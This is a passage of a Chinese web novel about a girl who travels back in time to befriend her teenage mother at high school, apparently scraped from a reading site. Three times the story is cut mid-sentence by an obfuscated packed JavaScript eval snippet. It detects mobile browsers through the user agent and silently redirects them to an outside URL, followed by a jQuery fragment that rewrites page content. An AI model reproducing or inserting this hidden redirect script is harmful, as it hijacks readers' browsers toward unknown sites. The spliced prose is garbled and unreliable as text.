他本来都和方浩两人说好了，今晚一起去电玩城打电动。他上周拳皇记录昨天被人破了，今天别人跟他讲了之后惦记了一天。 旁边卓焱瞥了他一眼：“有这抱怨时间早都贴完了，快点儿的吧。” 叶明鑫不情愿哼了声：“那可是我维持了三个月的记录！三个月！好不容易有点东西可吹，这还没装多久呢。” 先前隔壁班有人拉他一起过关，给他捧得跟什么似的，极大满足了他的虚荣心。 其实以前他还有各种游戏机卡带，但他妈觉得他就是玩这些东西玩的不爱学习，升高三之前全给他收了，说高考结束以后再还给他。 叶明鑫也试图反抗过，下场就是被断零花钱。后来立马就老实了，保证好好学习，只能悄悄趁着放学或者周末去游戏厅玩。 其实游戏厅也有风险，现在很多家长都把玩游戏当成玩物丧志害人不浅。不仅家长盯得紧，教导主任王途胜也会时不时突袭游戏厅抓本校学生，因而现在的游戏厅都开的很隐蔽，藏在犄角旮旯里。 叶明鑫已经一周多没去了，正是心痒的时候，见卓焱站着说话不腰疼，也没好气：“你纯粹是饱汉不知饿汉饥，你妈又不收你游戏机，还不让我玩，你就抠吧你！” 他说还不算，想扯着旁边人评理，孟沅刚贴完一条准备去讲台拿新的姓名条，就被他拉过来评理：“你说这人过不过分？他家里那么多游戏机，给我玩玩又怎么了！” 孟沅不明所以：“啊……？” “去，你激动摔坏我一掌机的事儿都没跟你算过账，你还来劲了。”卓焱气笑拉开他扯着孟沅胳膊的手，作势要踹他，被叶明鑫灵活躲开。懒得理他，只朝孟沅说，“别理这神经病。” 孟沅茫然，不知道怎么接这话。 叶明鑫秒变脸，讨好笑到：“哎呀您是谁？您可是嘎嘎有钱的卓少爷，怎么会和我这种小穷人计较？您累不，要不我帮您贴？您边上歇着就行~” 卓焱早已习惯他的变脸速度，不仅把自己的给他了，还从善如流抽走了孟沅刚默默去拿的姓名条：“不早了回家吧，他爱干，给他干。” 孟沅不太好意思：“这不好吧？” 叶明鑫瞪眼：这也行？卓焱你不是人！ 不过这话也只敢在心里腹诽，他还是默默加速贴起了条。半晌，又忽地抬起头，像是反射弧刚弹回来：“诶孟沅，我记得你跟卓惜关系挺好的对吧？” 孟沅点点头。 叶明鑫又问：“那你知道她为什么转来一中吗？” 先前问卓惜的事儿她也不答，弄得他心里一直好奇着。他这人最受不了这种，想方设法都想打听个明白，尤其是卓惜对卓焱表现出来的敌意，让他愈发好奇他们之间究竟有什么纠葛。 而且很明显，这纠葛是卓焱都不知道的。 孟沅犹豫了一下，关于卓惜的私事她肯定不会随意乱讲，不过这么多天了事情也确实没有眉目，她人微言轻没有什么方式能快速帮到卓惜，眼前两人却不一样。 但这事得先征求卓惜的意见，她不好自作主张。 这么想着，她还是尽可能含糊解释了一句：“卓惜说，她是过来找她妈妈的，只是一直都没有找到。” 叶明鑫想八卦又觉得不合时宜，只压着情绪来了句：“啊？她妈不见了吗？怪不得总感觉她像情绪不太好的样子。” 卓惜转来几天除了孟沅，基本上都没和谁说过几句话，有想找她聊天的看她那一身莫名烦躁的劲儿也没不识趣往跟前凑，只默默给她打上了“怪”的标签。 孟沅摇头，忍不住为卓惜辩解：“具体我也不太清楚，其实卓惜挺好相处的，跟她熟悉了就好了。” 在不熟的人眼里，或许卓惜疏离又有些怪异，但孟沅却觉得，那只是她保护自己的方式罢了。 卓焱没说话，垂眸捻着手指若有所思。 - ∞ - 期中测验飞速考完，老师也在一天内马不停蹄批完了试卷。 刘有才既是班主任也是语文老师，捏着试卷板着脸：“一个好消息，一个一般但在你们看来估计是坏消息的消息，你们想先听哪个？” 下面立刻忐忑七嘴八舌起来。 刘有才把卷子放下，改为双手撑着讲台：“那就先讲好消息，这次期中考试咱们班整体成绩都有了一个小提高，有位同学进步最为明显，成绩跃进了我们班上游。还有一位同学，直接考上了全校第一，大家可以恭喜一下！” 同学们一边配合鼓掌，一边四下张望，有大胆的例如叶明鑫，直接朝刘有才嚷起来：“直接说名字呗！又不稀奇，咱们班的话不就要么是班长大人要么是学委？” 班长尤佳婧闻言警告了他一声：“叶明鑫，老师讲话别插嘴。” 虽这么说，表情却是期待的。 就连向来闷头只顾学习的徐耀和听到这话也抬起了头。 刘有才也不卖关子了，干脆道：“这次我们班进步最大的同学是孟沅，名次上可谓是一个巨大的跨越，从开学考年级前一百，这次直接跃进了年级前六十！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘有才喊了几次安静，最后忍不住发了火，挑了几个叫得最厉害的训了两句，他们立刻蔫儿了。 这事已成定局，任他们闹也没用，大家也心知肚明只能发发牢骚，后面还得老实来上。 — ○> — 夜深，门开合的声音也变得格外明显。 女人背靠沙发坐在客厅，指腹压着太阳穴轻按着，不紧不慢喊了一声：“站住。” 本想悄声离开的少年立刻顿住脚步。 “怎么这么晚才回来？”女人声音不怒自威，“过来，听说你们今天考试成绩出来了？” 徐耀和抿起唇，背过手捏蹭着衣角，过去的第一时间低头认错：“对不起，妈，我没考好。” “第几名？”岳澜抬头看他。 徐耀和很想问，有意思吗，总是这样明知故问给他压力。可他不敢，终究还是低声说：“第三名。” 岳澜平静阐述：“你妹妹第二名，你甚至不如她。” 徐耀和捏紧衣摆不语。 岳澜又问：“第一名是谁？” 徐耀和：“一个新转来的，叫卓惜。我确实没有想过她成绩那么好，也不知道……” “没考过就是没考过，不要把自己的没用归结于别人。我不希望我的儿子只会找借口逃避，下次请让我看见你的成果。行了，去学习吧。” 她问完，兴致缺缺挥手将他打发走。 徐耀和不敢再多说什么，径直上楼。关上房门，紧绷的身体才终于得到一点喘息，他松开手，掌心已被掐出血痕。 他视而不见，只把袖口无意沾上的毛絮拈掉。 11. 奋发图强 很快到了他们班调位置的时候，卓惜这才知道他们班换个位置都能玩出花来，全看刘有才的“灵光一现”。 像这次换位就是以行为准，双数行统一向左移一组，单数行跨行向后移一组。卓惜规则都还没听太明白，就迷迷糊糊跟着起身被安排，然后转眼就发现孟沅成了卓焱前桌。 趁着还在调整，她噗呲噗呲压着音喊孟沅，也不管卓焱会不会听到：“孟沅孟沅，你要不要跟我坐？” 孟沅早就发现他们现在换到一块儿去，听卓惜问这个，第一反应却是看向了一旁卓焱。犹豫了一下才说：“这样不好吧？” “有什么不好？”卓惜不觉得，“正好换到一块儿还可以帮你补习。” 孟沅想了想：“可是下个月也会继续换的。” 卓惜倒是入乡随俗很快：“那有什么，大不了跟老刘说让他给咱俩固定同桌呗？而且我是为了辅导你功课，这可是正当理由。” 孟沅抿唇纠结片刻，还是摇摇头：“其他同学都没有搞特权，我们这样好像不太好。再说了，现在坐的很近，也不耽误我向你学习嘛。” 卓惜无奈，她妈妈未免也太好好学生了：“那好吧。” 考完试后两天的课程基本都是对试题的讲解分析，卓惜还被抓上去分享了一下自己的解题思路。她也不藏着掖着，很大方讲了几个做题的诀窍。 于是，她在班里的人气一时间水涨船高，很多同学觉得她很厉害，不会的题目都来问她。她自己当然讲不完，但之前仔细把题目剖析跟孟沅讲解过，就让孟沅帮她分担一部分，顺便巩固加深理解。 孟沅自然乐意。 卓惜教题之际也没错过卓焱最近的反常，以前上课他要么开小差自顾自地玩，要么就躲在角落里睡大觉。完全不怎么听讲，成绩也是班上垫底，一副纨绔的模样。 之前她还挺看不惯，都不懂就他这无药可救的破成绩，是怎么有她这么个聪明女儿的。果然还是她妈的基因太优秀，再加她努力。 后来想通就懒得管了，反正他爱当典型的反面教材也好，方便她在孟沅面前蛐蛐人。 然而卓焱最近却是不睡觉也不开小差了，还专心听起讲似的，时不时皱皱眉，在课本上记些什么。 很快卓惜就发现端倪。 在卓焱再一次“请教”孟沅习题的时候，卓惜微笑着一把将他拦住：“你又不学习，耽误孟沅时间干什么？” 卓焱风轻云淡瞥她一眼：“你是不是管得太宽了点儿？管天管地还管我学习？再说了，你怎么知道我不学？” “谁要管你？我只是怕你耽误孟沅，谁知道你是不是装爱学习？”卓惜嘁声。 卓焱嘴里也不饶人：“怎么？歧视差生啊？只许你们这种好学生~往上拼，不许我们幡然悔悟奋发图强啊？” 他“好学生”三字音调咬得十足阴阳，卓惜听了发笑：“奋发图强？这词儿跟你搭么。” 两人隔三差五就要呛声，前后左右都已经习惯了，眼看又要吵起来，孟沅紧急调停。也不知怎么的，她最近好像成了两人小法庭的法官，偏偏这俩人跟小学生似的幼稚得紧：“好了，你们俩不要吵了嘛？” 卓惜双臂环胸：“切，谁想跟他吵？” 卓焱倒是一脸无辜样：“你也看见了是她先挑事儿的，我可什么都没干。” 卓惜不可思议扭头瞪他，咬牙切齿在心里骂他：真是个可恶的绿箭，居然还会在她妈面前装茶。 卓焱不动声色朝她挑了下眉，挑衅意味十足。 孟沅摇摇头：“卓惜，这次确实是你不对，你别这样说卓焱，我们是一个集体呀。大家都是同学，要互相帮助嘛，不要天天吵架。” 卓惜一口气堵在嗓子眼上不去下不来。 我是在帮你啊笨蛋！就是因为你这样好心泛滥才会被骗！ 她噎了半晌，看孟沅朝她使了眼色示意她别这样，委屈的同时又烦躁地想了个迂回战术，不情不愿道：“行行行，这次算我错了，我不该这么说他行了吧？不过卓焱基础太差了，你不好教的，我来教。” 卓焱上一秒还在诧异她居然还会主动道歉，下一秒扯唇拒绝，看向孟沅：“不要，我要你教，不敢让她教。” 卓惜气笑：“我都敢教你，你还有什么不敢让我教？” 孟沅也觉得这样可能对卓焱好一点：“卓惜教的话比我教的好很多，我就是她带上来的。她愿意教你的话，你的成绩应该会提升的比较快。” 卓焱在两人目光注视下，淡淡吐出原因：“她，脾气太差。” 这狗东西。 卓惜快被气晕。 刚想说什么，孟沅有预感地伸手制止：“好，我教就我教，正好我也再巩固一下基础知识。” 卓惜接触到她目光，见她朝自己小幅度摇了摇头，只好作罢。 算了，总不能驳了孟沅的学习劲头。 大不了再盯紧一点。 - ∞ - 越往中旬靠，气温渐渐降了下来，最近频频刮起大风，还总有种要下雨的征兆。 每周五下午第一节，是一个星期以来唯一的一节体育课，自由活动时间多，向来是他们班人最期盼的日子。 听说前几届的时候其实体育课有被主课取缔过，后来临近模考越来越多人感冒发烧扛不住。校方觉得这样一味只顾着学习也不是好事，就强制恢复保留了体育课和每天第一节课后的大课间跑操。 卓惜其实没太大所谓，毕竟她那时代从小学开始体育课就没怎么正经上过。今天被语文课占，明天被数学课占，早都习惯了。 而且可能是小时候孟沅悉心照料加上练跆拳道的原因，她身体好得不得了，从小到大很少生病，生病也是小病很快就能恢复。 以前看中医，中医说她身体其实不错，脉象稳健气血充足，就是有些肝气郁结。让她小小年纪不要积压太多愁绪，懂得释放，否则时间长了身体也容易出问题。 但卓惜不以为意，反正这些年也就这样过来了。 每次上课集合报数完，活动筋骨后，就由体委领着他们跑步。按身高男女分两列，一前一后在内圈跑两圈。 女生先跑，但跑着跑着就落到后面去了，最后一圈更是大多半跑半走完的。 卓惜拉着孟沅，跑的倒是比其他人快点，但孟沅跑完气喘不匀，缓了好半天。她帮忙拍拍她的背顺气，觉得这样不行：“看来给你制定的计划里面要多一项锻炼身体了，今天早上就听你好像有点咳嗽，再这样下去肯定得生病。” 孟沅摆摆手，缓过来才说：“没关系，我，我没事儿。” “什么没事？别不把自己身体当回事，就算现在没什么大碍，也要提前预防知道吗？”卓惜不满，“天天关心学习关心这那的就是不多关心自己，多注意自己的状态，别让我担心好吗？” 孟沅有些感触，她知道卓惜有点刀子嘴豆腐心，也不会和她生气。心里有些暖，她想说什么，张了张嘴最后却也只说：“好，知道啦，都听你的好嘛。” 卓惜这才满意点头：“这样才对嘛！” 跑完操就可以自由活动了，有几个人抓紧去器材室拿体育器材了，卓惜也拉着孟沅一起要打羽毛球。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981499|161469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 梁美蓁从两人旁边擦肩而过，撞了卓惜一下，没什么歉意不说还瞪了她一眼。搞得卓惜莫名其妙：“我惹她了？” 最近忙于孟沅的学习和盯卓焱，对其他的事情关注少了很多，不过她记得她也没干嘛吧？ 叶明鑫不知道什么时候走到两人身后，自然没错过这一幕，他和梁美蓁也是掐出心灵感应了，对方一个眼神他都知道在想什么：“她那是在不爽你抢了她功劳呢。” 卓惜茫然：“我？抢她功劳？什么跟什么？” 叶明鑫瘪嘴抬抬下巴：“她以前就得意她班里英语成绩好，又是课代表。现在你成绩超过她了，还乐意教人不甩脸色，别人都来找你教，她可不不爽么。” 他自顾自说：“不过你也不用多在意，她就公主病犯了而已，过几天说不定就自个儿好了。也不是针对谁，她这人啊就这样儿。” 陈北森呦了一声：“哎呦喂，三金，你什么时候这么了解她梁美蓁了？该不会有情况吧？” 叶明鑫没好气：“去去去，什么有情况？这是被怼被折磨出来的经验！经验之谈你懂么？” 陈北森和方浩对视一眼，笑开。 卓惜和孟沅也忍不住笑了，卓惜没收敛，孟沅却只是偷偷笑了笑。她下意识看向一旁，果然还有一道身影，他懒洋洋插兜跟在边上也不说话，不过嘴角也挂着抹不明显的笑意。 像是意有所感，他忽然朝她这边看了过来。 孟沅有些慌张地扭转视线，心情无端忐忑。 最近她在班里好像忽然多了些存在感，也多了很多善意谢意，就连和他以及他这些朋友也不知什么时候越走越近了。 孟沅不知道该怎么形容这段时间的感触。 但是，如果可以的话，她希望时光再慢一点。 她想把这一切都记得更清晰一点。 — ○> — “诶，你们来看，是小猫崽崽诶！” “哇塞！真的！好可爱呀毛茸茸的！” 卓惜和孟沅刚从小超市出来，就被几个同班的女生看见，她们迫不及待将人招来拐角这边：“卓惜孟沅你们俩快来看！” 梁美蓁也在，正蹲在一边看，见她们来了就站起来到一边。又摆出那副高傲脸，却没说什么。 卓惜也没太在意：“什么事儿神神秘秘的？” 几人这才退开一点，让她们看清了墙角草坪窝着的一窝猫崽，像是刚出生不久，还没巴掌大，奶呼呼的。 卓惜也很喜欢猫，不过没自己养过，只是拉了拉孟沅的手。孟沅也有些挪不开眼：“好可爱。” 其中一个女生有些发愁：“马上入冬了会更冷，感觉这些猫猫会扛不过诶，要不要给它们用纸板弄个小窝什么的？” 另一个女生摇摇头：“恐怕不太行，纸板一下就淋烂了，而且王秃头不是说这些野猫不知道哪里来的让我们别靠近别乱摸，小心被抓伤得狂犬病。” “狂犬病？猫也会有狂犬病吗？” “对呀，之前我们家小区就有人被野猫抓了，后来社区还做了狂犬疫苗科普。野猫也是很容易携带狂犬病毒的。” 说着，几个女生都不自觉离猫远了些，却又有些于心不忍：“但是猫猫还怪可怜的。” 远处体委正在找人，看见她们，大嗓门喊了声“集合了”，几人只好起身先去集合。路上还在讨论，还是给小猫盖个窝的事。 有道落在身后的身影被墙壁遮挡，侧目看了眼远去的背影，像是犹豫了一下，伸手摸了摸猫崽。 随后，眼里闪烁过一道光，嘴角也随之勾起。 12.你的存在 后面一段时间气温猛地降了下来，早上起床卓惜又听见了隔壁传来的咳嗽声，穿好衣服不免担忧地去看孟沅。 “怎么回事？是不是着凉了？”卓惜进屋子就感觉到了冷，家里没有暖气，保暖的方式就是换了一床十斤重的大棉被。 孟沅蜷缩在被子里，闷得脸有些红，但一直在咳，还强撑着想起来跟她说没事：“我…咳咳…没咳咳咳……” 卓惜啧了声，探了下她额头跟自己额头对比，温度果然有点高：“不行，你今天别上学了，我带你去打吊针。你先起来，我去收拾一下，等会儿去找楼下孙婆婆借下她家的自行车。” 卓惜一边说，一边感觉事情真的好多。家里没暖气没车，电话也没有，想请假还得去一趟学校。她真的得安排买这些东西了。 盘算了一下手里的钱，这段时间花花攒攒，因为学校又多了晚自习，投稿的速度也变慢了。目前除却必要的吃穿，手里大概还有个一万五左右，这个钱看着多，可是要添置两部手机加两个房间的空调，一下子就可以给她打回最穷的时候。 早知道之前买断费多要一点了。 但卓惜也知道她不过是个搬运者，也不是专业的，那个价格其实也不亏。 叹了口气快速洗脸刷牙，孟沅也已经收拾好了。见她温吞还想收拾床上，卓惜赶紧推她去洗漱，她帮她收拾。 孟沅看她火急火燎，只好先去洗漱。 卓惜不会做饭，也没时间等孟沅做饭了，她去找孙婆婆借车的时候也顺便拐到小区门口买了两张葱油饼，又打包了一份生煎包，给孟沅在路上吃。 二八大杠车型大，卓惜167的身高，跨上去还得往一边斜，不然落地都费劲。载人更是不稳，只能先骑着往前溜两步，让孟沅抓着后座看时机跳上来。 两人配合还算默契，她只记得有一家医务室的位置，就往那边骑，让孟沅好好吃东西。送进医务室检查后，医生说没有什么大碍，稍微有点低烧，吊个水就行。 卓惜让她先吊，去帮她请假：“你行不行？还是我在这里陪你？吊完再去请假也行。” 反正已经迟到了，也不差吊瓶水的功夫了。 孟沅怕老师当她们无故翘课，赶紧摇摇头：“我没事，你去请假吧，不用担心我。” “那好，你照顾自己啊。那个水要是快打完了你记得让护士给你拔针。”卓惜把多带的一件外套反扣在她身上，又摸了摸她额头，才不放心地离开。 赶到学校说明了一下情况，给自己和孟沅一并请了假，她拿着刘有才开的假条先取了钱去了一趟商场。 商场一楼有一片开放的空调电视卖场，她没多犹豫就选了熟悉的品牌一款热销空调。那台空调六千二出头，安装费和配件费还得五百三，加在一起六千七。 要是想买手机的话，就肯定不能再买空调了，就先紧着孟沅的房间用吧。 卓惜问清安装时间，确定最晚今天下午就能到。 又去了一趟手机柜台，这时候的手机远比不上后世，之前也没什么用得上的地方，她就暂时没有考虑买。现在看最新款是上个月发布的诺基亚6110，价格3350，现在还没降价。 两台手机又是六千七，卓惜买完顺便办了手机卡，一个号码先充了一百块的话费。还好之前有预感，把钱大部分都取了出来，不然还真不够。 这才买了点东西余额就已经紧巴巴的了，卓惜忽然有了危机感。她先前还在心里发誓要好好养孟沅，再不赚钱自己都养不活了。 别的不说，她至少也得给自己再拼台空调出来吧。 一顿捣鼓下来，卓惜赶回医务室的时候孟沅的水已经吊的差不多了，她偏靠在长椅上打瞌睡。卓惜轻手轻脚过去，才刚靠近孟沅就醒了：“你回来了？” 卓惜在旁边坐下，轻应了一声：“你怎么样？好点了没有？” 孟沅软绵绵点头。 她又不放心探了下两人额头对比，好像是没先前那么热了，这才把拎着的两个盒子拆开：“我刚去了一趟商场，给我们两个买了手机，号码也已经开好了，以后走哪里也方便联系。” 孟沅有些傻眼：“啊？” “啊什么。这几天你先在家休息，我可能没办法一起请那么多天的假，会忙一点，你有什么事就及时跟我联系，知道了吗？”卓惜不由分说拆开手机后壳把卡插上，激活，递给孟沅，“你知道怎么用吗？” 孟沅不肯接：“卓惜，这个太贵重了，我不能收，你还是退了吧。” “退不了，人家说激活了就没法退。”卓惜压根不给她多说的机会，“我跟你说，这是咱俩的电话，我都已经存进去了，还有给我发短信的话就是这样用……” 卓惜垂眸操作着手机，神态很认真，孟沅听着她关切的絮叨有些恍惚。 好像，已经很久没有人对她这么好了。 卓惜为什么对她这么好呢？她好像也没为她做过什么。 而且也并不值得。 - ∞ - 中午孟沅想做饭，被卓惜按回去好好休息，她跑了几条街才找到了一家专门卖粥的店，点了两份粥。 本来还想喂给孟沅吃，孟沅哭笑不得：“我自己吃就可以了，哪里有这么脆弱？” 卓惜只能作罢，粥的分量不小，担心她烫，还专门去拿了个小碗先分一点出来：“你用这个碗，这个不烫。” 孟沅接过，喝了两口，纠结了半天还是没忍住问：“卓惜，你为什么对我这么好？” 卓惜喝粥的动作一顿：“对你好当然是因为你对我好。” 她像是不解地眨眨眼：“可是我也没做什么。” 卓惜明白了什么，停下动作把粥放到一边，手搭上她的肩，让她看向自己，一字一句认真说：“你在我最落魄的时候收留我，都没有觉得我是坏人。给我做饭，明明自己都没有两件衣服还把新衣服给我穿，陪着我重新上学还总夸我，很少有人像你这样对我真诚。” “孟沅，不要总觉得自己不好，也不要觉得自己是不重要可有可无的人。你很重要很重要，于你外婆于我，于你自己都是，你的存在对我来说就是最大的幸运。” 心里最深处那块冰凉的地方好像被一只温暖的手给包裹，孟沅有些哑然，比话语反应更快的是情绪。她自己都没有察觉到，几乎是卓惜话音刚落，泪就不争气地从眼眶里逃了出来。 从来没有人说过她是重要的，成长过程中她也一直在被嫌弃，被推开，或者被无视。她甚至怀疑过自己的存在是否必要，在唯一爱她的外婆去世之后自厌的情绪几乎达到顶峰。 可她懦弱，从前不敢伤害自己，后来也没能提起勇气。于是拼命的麻痹自己，装作一切如常，就这样寡淡得过且过的活着就好，未来是什么模样没有深想的必要。 可这一刻，居然有人如此认真的告诉她，说她很重要，还说她的存在是自己最大的幸运。 孟沅几乎是本能抱住她，哽咽着潸然泪下：“卓惜，谢谢你，真的谢谢你……” 卓惜刚想替她擦眼泪，就被她拥住，指尖只来得及触及她脸颊的泪迹。听着耳边哭声，看着指尖还未干涸的湿意，她只是慢慢地回拥住孟沅，就像小时候孟沅哄她那样，轻轻拍着她的背。 她忽然庆幸有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14983140|161469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样一场穿越的机会，让她可以切实的走进孟沅的世界看一看，也认识到从前的自己到底多么幼稚自我。 孟沅明明只拥有一点少得可怜的爱，却毫无保留地给了她全部的爱。 从前的她却身在福中不知福。 以前的痛苦可能很难忘记，但没关系，她会努力尝试着把不曾来得及的一切都回馈给十七岁孟沅。让她知道，她不是没有人爱，还有自己爱她。 或许不想承认，但卓惜知道，卓焱也会爱她。 孟沅情绪崩溃哭过一场后就迷迷糊糊睡着了，等她再醒的时候空调的安装工作都已经开始收尾。卓惜正在盯着空调调试，确定没有问题才结了安装费和配件费。 等人走后，她才茫然从厚被子里半坐起来：“你怎么买空调了？” “家里太冷了，这样下去也不是个事儿。”卓惜随口说，“饿了没？中午的粥我先收起来了，给你热热？” 孟沅摇头，她还不饿，看了眼时间才四点出头：“你今天应该花了很多钱吧？这些钱就当你借我的，我暂时没有那么多，可能要一点点还。” 卓惜不以为意摆摆手：“咱们俩什么关系？说什么借不借的，又不要你还。你自己那点钱还是自己留着，放心我还有钱。” 孟沅哪可能心安理得花她的钱，卓惜这阵子在投稿挣钱她是知道的，没问过具体，但猜测估计也不会特别多。买这样的大件想来也便宜不到哪里去，这下可能花了卓惜大部分钱了。 这种大件又不好退，只能先欠着，她越想越觉得羞愧。 她不过是收留了卓惜，卓惜却为她做了那么多。 孟沅暗暗在心里盘算有什么可以为她做的。 — ○> — 卓惜强制孟沅在家好好休息等恢复了再说，自己却第二天就赶着去上学了，空余时间都在写投稿，也没功夫跟卓焱互掐。 卓焱还有些稀奇，不过也没放在心上，只是问她：“她病了？” 卓惜写稿子的动作不停：“你怎么知道？” “你昨天火急火燎来学校替你俩请假，今天就你一个人来上学，我是蠢才猜不出来。”卓焱无语，“她怎么样？” 卓惜这才瞥他一眼：“还行，低烧，吊水就退了，我让她在家休息两天。” 卓焱按了按手里圆珠笔：“你们家地址给我。” “干嘛？” 她刚问完，就见他摆出一副“你说呢”的表情。 “送温暖就免了，她还得起来给你开门，再一冷一热又得病。”卓惜话锋一转，破天荒给了他一串号码，“这孟沅电话，你可以给她打电话。” 卓焱挑眉，把纸条收下：“你会这么好心？” 卓惜也抽抽嘴角：“别想太多，只是不阻止你俩交流，不代表同意你追她。” 她也想通了，孟沅本来就没有几个朋友，她也无权剥夺她交朋友的权利，这样对孟沅来说不公平，而且也会影响两人的关系。 至于卓焱，她承认最近给他补习过程中，确实看见他态度有在变好。其实卓焱没有她想象中那么糟糕差劲，他也并非不聪明，只是之前没认真而已。 不过，这也不代表她认可他。 卓焱哂笑：“我追她还得你同意？” “嗯哼。别跟我扯闲了，我很忙的。”课间快结束，她加快速度，想到什么又抬起头，“哦对了，把沈阿姨电话给我一下。” 卓焱：“？干嘛？” 卓惜微微一笑：“谈点生意，让你家发财的生意。” 也让她自己发点小财。 她要多多赚钱，改善孟沅的生活环境！ 13.天生焦点 随着气温下降，迟迟没下的雨也终于落了下来，乌云盖过光亮，天空一片浓稠压抑的黑。狂风裹挟着暴雨，隔着条走廊都把窗户打的桄榔作响。 班上不得已拉了窗帘早早开了教室灯，却被无孔不入的风吹得没什么心思听讲。 卓惜撑着脸听着讲课，心里却有些担心孟沅的身体，因为天气不稳定，孟沅的病情也始终反复。她干脆多帮她请了两天假，每天晚上回去再把整理好的知识点讲给她听。 学习这块倒是没落下什么。 还有点烦的就是前几天天天带伞没下雨，她想着一时半会儿可能也不会下，就懒得带了。结果刚没带伞就开始下雨，像是故意捉弄她似的。 然而今天安排到她做值日生，到时候还得在学校里多留。 趁着大课间休，她快速拿了手机拐到楼梯间开机给孟沅发了消息，让她别等自己吃饭，晚上得晚点回去。刚发完，就见走廊那头巡逻至此的王途胜在喊前面班里的人出来拖走廊积水，她赶紧把手机关机收好。 学校明文规定了学生不能携带电子产品，王途胜对此抓得尤其严，上周才在周一大会上通报批评了几个被逮的同学，每个人念了篇千字检讨。 这种关头，卓惜也不想惹事耽误自己的时间。 没过一会儿王途胜就巡逻到了他们班，在门口问值日生出来拖地，另一个值日的人不在教室，卓惜认命主动走了出去。 拖地途中，几个女生并排着拿伞出去了，把卓惜刚拖干净的那一半地又踩得全是泥脚印。她们没注意，只是念念有词着“快点快点”“去后山看看小猫怎么样了”“不知道窝烂了没有”之类的。 她甚至来不及喊住人，看着脚印扯扯嘴角，心里烦躁起来，再拖地时手里都多用了几分力，人站在原地，拖把怼出去半米。 下一秒，拖把糊上一双白净的板鞋。 卓惜反应过来赶紧收回怼出去的拖把，看着板鞋上那显眼的黑渍，有些尴尬地道歉：“不好意思，我没注意！” 徐耀和看出眼前女生的不自在，抿唇摇了摇头：“没事。” 卓惜沉吟：“不然我赔你点钱，你晚点送去干洗吧？” 他仍旧摇头，选择越过了这个话题：“不用，数学老师找你去办公室一趟。” “数学老师？找我？”卓惜一脸莫名。 徐耀和颔首：“嗯，你快去吧。” “哦。”卓惜不解，收起拖把去教职工办公室。 唯留他在原地，沉默看了会儿她的背影，又垂眸看向自己板鞋上的泥渍。 半晌，别了别脚。 - ∞ - 数学老师找她是想问她有没有意向代表学校参加竞赛的事情。 卓惜更是不解：“不是有学委班长和课代表吗？怎么会想着找我？” 她数学成绩是还不错，但和他们几个水平也差不多，其实找谁都一样。她最近很忙，没那个功夫准备竞赛的事。 数学老师解释：“往年学校都是安排徐耀和同学和徐昕恬同学参加，但是徐耀和同学主动来找我说最近压力有点大，可能没有多余精力，老师就先问问你。” 卓惜不假思索：“谢谢老师，不过我暂时也没有太多时间去准备竞赛，实在抱歉。” 她最近不仅要给孟沅整理笔记，还要抓紧构思写稿。前两天跟沈光华联系上说明来意后，沈光华答应有空再看看她所说的新设计稿。她还得抽空画稿，时间安排的满满当当，挤不出空闲。 数学老师也表示理解，学生既然做出表示，学校也不会强迫参加，就让她先离开，顺便喊冯郴来一趟。 卓惜喊完人回了位置，徐耀和走了过来。 “学委？还有事吗？”她问完瞥到他的鞋，上面的泥渍已经清理干净了，又后知后觉摸索进书包，摸了张十块和五块出来，一把塞进他手里，“抱歉啊还让你自己刷鞋，这个钱你拿着，就当我补你一顿午餐行不？” 其实她也不想这么抠搜，奈何最近贫穷，钱要掰着花。 徐耀和默了默，钱又放回她桌上：“我不是来找你要钱的，我是问，你答应竞赛了吗？” “没有啊。”卓惜推了两下见他把钱收着了，才松开他。 他追问：“为什么？” 她耸耸肩：“哪有那么多为什么，没时间，也没兴趣。” 徐耀和不说话了。 卓惜看他欲言又止，想着他虽然沉默寡言但性格不错，也没跟她生气计较，放缓语气：“你还有什么想问的吗？” 徐耀和抬眸，和她对上视线，温吞摇头。 而后一言不发离开。 卓惜没太在意这个小插曲，很快投入进自己的世界。 晚上自习结束，班上人陆续离开，就剩她和陈北森俩人负责打扫卫生。 两人分摊了任务，一个扫地排桌子，一个拖地擦黑板。教室的垃圾桶放在角落，很大一个，每天都扔得堆尖儿，得两人一起抬去后山的垃圾堆放处才行。 陈北森看卓惜没伞，主动把伞递给她：“你打吧。” 卓惜看他穿的也不是很厚，不太好意思：“那你呢？” 他径直把外套帽子拉上：“我无所谓，这帽子也能挡点雨，更何况淋就淋了，咱们早点搞完回去。” 话说到这，她也不是那矫情的性格，道了谢和他一起抬垃圾下楼。此刻倒是庆幸他们班在二楼，要是在四楼那才是真的折磨。 倒了垃圾，陈北森忽然想上厕所，让她稍微等会儿。 卓惜打着伞在远处等，忽然听到那头的灌木丛里传来小猫像是挣扎了下的哀叫声。 灌木丛有半人高，天又黑，看不清里头的模样。她走近正想看看怎么回事，一声更为尖锐地“喵”声后，猫飞快的从灌木丛间窜走了。 同时，后面传来孟沅的声音：“卓惜！” 灌木丛那边又唰唰响了两声，大概又是猫猫在乱窜，这次她没在意，皱着眉朝声源方向走：“你怎么来了？不是说让你待在家好好养病吗？” 孟沅无辜眨眼： 